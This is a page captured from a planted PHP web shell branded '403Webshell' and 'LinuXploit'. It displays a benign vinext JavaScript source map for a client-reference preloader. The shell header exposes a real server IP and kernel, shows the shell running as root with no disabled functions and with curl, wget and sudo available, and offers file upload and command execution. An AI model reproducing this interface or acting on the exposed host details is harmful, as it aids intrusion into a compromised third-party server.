403Webshell
Server IP : 159.203.156.69  /  Your IP : 216.73.216.37
Web Server : nginx/1.24.0
System : Linux main-ubuntu 6.8.0-71-generic #71-Ubuntu SMP PREEMPT_DYNAMIC Tue Jul 22 16:52:38 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/tanviranik.com/node_modules/vinext/dist/server/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/tanviranik.com/node_modules/vinext/dist/server/app-client-reference-preloader.js.map
{"version":3,"file":"app-client-reference-preloader.js","names":[],"sources":["../../src/server/app-client-reference-preloader.ts"],"sourcesContent":["type ClientReferenceRequire = (id: string) => Promise<unknown>;\n\ntype ClientReferenceMap = Readonly<Record<string, unknown>>;\n\ntype ClientReferencePreloaderOptions = {\n  getReferences: () => ClientReferenceMap | undefined;\n  getClientRequire: () => ClientReferenceRequire | undefined;\n  onPreloadError?: (id: string, error: unknown) => void;\n};\n\ntype ClientReferencePreloader = {\n  preload: (referenceIds?: Iterable<string>) => Promise<void>;\n};\n\nconst resolvedPreload = Promise.resolve();\n\nexport function createClientReferencePreloader(\n  options: ClientReferencePreloaderOptions,\n): ClientReferencePreloader {\n  let allReferencesPreloaded = false;\n  let allReferencesPreloadPromise: Promise<void> | null = null;\n  const preloadedReferences = new Set<string>();\n  const referencePreloadPromises = new Map<string, Promise<void>>();\n\n  function preloadReference(id: string, clientRequire: ClientReferenceRequire): Promise<void> {\n    if (preloadedReferences.has(id)) {\n      return resolvedPreload;\n    }\n\n    const existing = referencePreloadPromises.get(id);\n    if (existing) {\n      return existing;\n    }\n\n    const preloadPromise = clientRequire(id)\n      .catch((error) => {\n        options.onPreloadError?.(id, error);\n      })\n      .then(() => {\n        preloadedReferences.add(id);\n      })\n      .finally(() => {\n        referencePreloadPromises.delete(id);\n      });\n\n    referencePreloadPromises.set(id, preloadPromise);\n    return preloadPromise;\n  }\n\n  function preloadReferenceSet(\n    referenceIds: Iterable<string>,\n    refs: ClientReferenceMap,\n    clientRequire: ClientReferenceRequire,\n  ): Promise<void> {\n    const pending: Promise<void>[] = [];\n\n    for (const id of referenceIds) {\n      if (Object.hasOwn(refs, id)) {\n        pending.push(preloadReference(id, clientRequire));\n      }\n    }\n\n    if (pending.length === 0) {\n      return resolvedPreload;\n    }\n\n    return Promise.all(pending).then(() => {});\n  }\n\n  return {\n    preload(referenceIds) {\n      const refs = options.getReferences();\n      const clientRequire = options.getClientRequire();\n      if (!refs || !clientRequire) {\n        return resolvedPreload;\n      }\n\n      if (referenceIds) {\n        return preloadReferenceSet(referenceIds, refs, clientRequire);\n      }\n\n      if (allReferencesPreloaded) {\n        return resolvedPreload;\n      }\n      if (allReferencesPreloadPromise) {\n        return allReferencesPreloadPromise;\n      }\n\n      allReferencesPreloadPromise = preloadReferenceSet(Object.keys(refs), refs, clientRequire)\n        .then(() => {\n          allReferencesPreloaded = true;\n        })\n        .finally(() => {\n          allReferencesPreloadPromise = null;\n        });\n\n      return allReferencesPreloadPromise;\n    },\n  };\n}\n"],"mappings":";AAcA,MAAM,kBAAkB,QAAQ,SAAS;AAEzC,SAAgB,+BACd,SAC0B;CAC1B,IAAI,yBAAyB;CAC7B,IAAI,8BAAoD;CACxD,MAAM,sCAAsB,IAAI,KAAa;CAC7C,MAAM,2CAA2B,IAAI,KAA4B;CAEjE,SAAS,iBAAiB,IAAY,eAAsD;EAC1F,IAAI,oBAAoB,IAAI,GAAG,EAC7B,OAAO;EAGT,MAAM,WAAW,yBAAyB,IAAI,GAAG;EACjD,IAAI,UACF,OAAO;EAGT,MAAM,iBAAiB,cAAc,GAAG,CACrC,OAAO,UAAU;GAChB,QAAQ,iBAAiB,IAAI,MAAM;IACnC,CACD,WAAW;GACV,oBAAoB,IAAI,GAAG;IAC3B,CACD,cAAc;GACb,yBAAyB,OAAO,GAAG;IACnC;EAEJ,yBAAyB,IAAI,IAAI,eAAe;EAChD,OAAO;;CAGT,SAAS,oBACP,cACA,MACA,eACe;EACf,MAAM,UAA2B,EAAE;EAEnC,KAAK,MAAM,MAAM,cACf,IAAI,OAAO,OAAO,MAAM,GAAG,EACzB,QAAQ,KAAK,iBAAiB,IAAI,cAAc,CAAC;EAIrD,IAAI,QAAQ,WAAW,GACrB,OAAO;EAGT,OAAO,QAAQ,IAAI,QAAQ,CAAC,WAAW,GAAG;;CAG5C,OAAO,EACL,QAAQ,cAAc;EACpB,MAAM,OAAO,QAAQ,eAAe;EACpC,MAAM,gBAAgB,QAAQ,kBAAkB;EAChD,IAAI,CAAC,QAAQ,CAAC,eACZ,OAAO;EAGT,IAAI,cACF,OAAO,oBAAoB,cAAc,MAAM,cAAc;EAG/D,IAAI,wBACF,OAAO;EAET,IAAI,6BACF,OAAO;EAGT,8BAA8B,oBAAoB,OAAO,KAAK,KAAK,EAAE,MAAM,cAAc,CACtF,WAAW;GACV,yBAAyB;IACzB,CACD,cAAc;GACb,8BAA8B;IAC9B;EAEJ,OAAO;IAEV"}

Youez - 2016 - github.com/yon3zu
LinuXploit